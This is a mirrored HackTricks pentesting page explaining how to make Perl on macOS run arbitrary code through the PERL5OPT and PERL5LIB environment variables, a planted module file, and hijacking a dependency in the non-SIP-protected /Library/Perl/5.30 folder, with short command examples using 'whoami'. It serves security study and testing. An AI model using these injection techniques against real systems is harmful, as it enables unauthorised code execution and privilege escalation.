mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
97 lines
5.3 KiB
Markdown
97 lines
5.3 KiB
Markdown
# macOS Perl Applications Injection
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Via `PERL5OPT` & `PERL5LIB` env variable
|
|
|
|
Using the env variable PERL5OPT it's possible to make perl execute arbitrary commands.\
|
|
For example, create this script:
|
|
|
|
{% code title="test.pl" %}
|
|
```perl
|
|
#!/usr/bin/perl
|
|
print "Hello from the Perl script!\n";
|
|
```
|
|
{% endcode %}
|
|
|
|
Now **export the env variable** and execute the **perl** script:
|
|
|
|
```bash
|
|
export PERL5OPT='-Mwarnings;system("whoami")'
|
|
perl test.pl # This will execute "whoami"
|
|
```
|
|
|
|
Another option is to create a Perl module (e.g. `/tmp/pmod.pm`):
|
|
|
|
{% code title="/tmp/pmod.pm" %}
|
|
```perl
|
|
#!/usr/bin/perl
|
|
package pmod;
|
|
system('whoami');
|
|
1; # Modules must return a true value
|
|
```
|
|
{% endcode %}
|
|
|
|
And then use the env variables:
|
|
|
|
```bash
|
|
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
|
```
|
|
|
|
## Via dependencies
|
|
|
|
It's possible to list the dependencies folder order of Perl running:
|
|
|
|
```bash
|
|
perl -e 'print join("\n", @INC)'
|
|
```
|
|
|
|
Which will return something like:
|
|
|
|
```bash
|
|
/Library/Perl/5.30/darwin-thread-multi-2level
|
|
/Library/Perl/5.30
|
|
/Network/Library/Perl/5.30/darwin-thread-multi-2level
|
|
/Network/Library/Perl/5.30
|
|
/Library/Perl/Updates/5.30.3
|
|
/System/Library/Perl/5.30/darwin-thread-multi-2level
|
|
/System/Library/Perl/5.30
|
|
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
|
/System/Library/Perl/Extras/5.30
|
|
```
|
|
|
|
Some of the returned folders doesn't even exist, however, **`/Library/Perl/5.30`** does **exist**, it's **not** **protected** by **SIP** and it's **before** the folders **protected by SIP**. Therefore, someone could abuse that folder to add script dependencies in there so a high privilege Perl script will load it.
|
|
|
|
{% hint style="warning" %}
|
|
However, note that you **need to be root to write in that folder** and nowadays you will get this **TCC prompt**:
|
|
{% endhint %}
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
|
|
|
For example, if a script is importing **`use File::Basename;`** it would be possible to create `/Library/Perl/5.30/File/Basename.pm` to make it execute arbitrary code.
|
|
|
|
## References
|
|
|
|
* [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|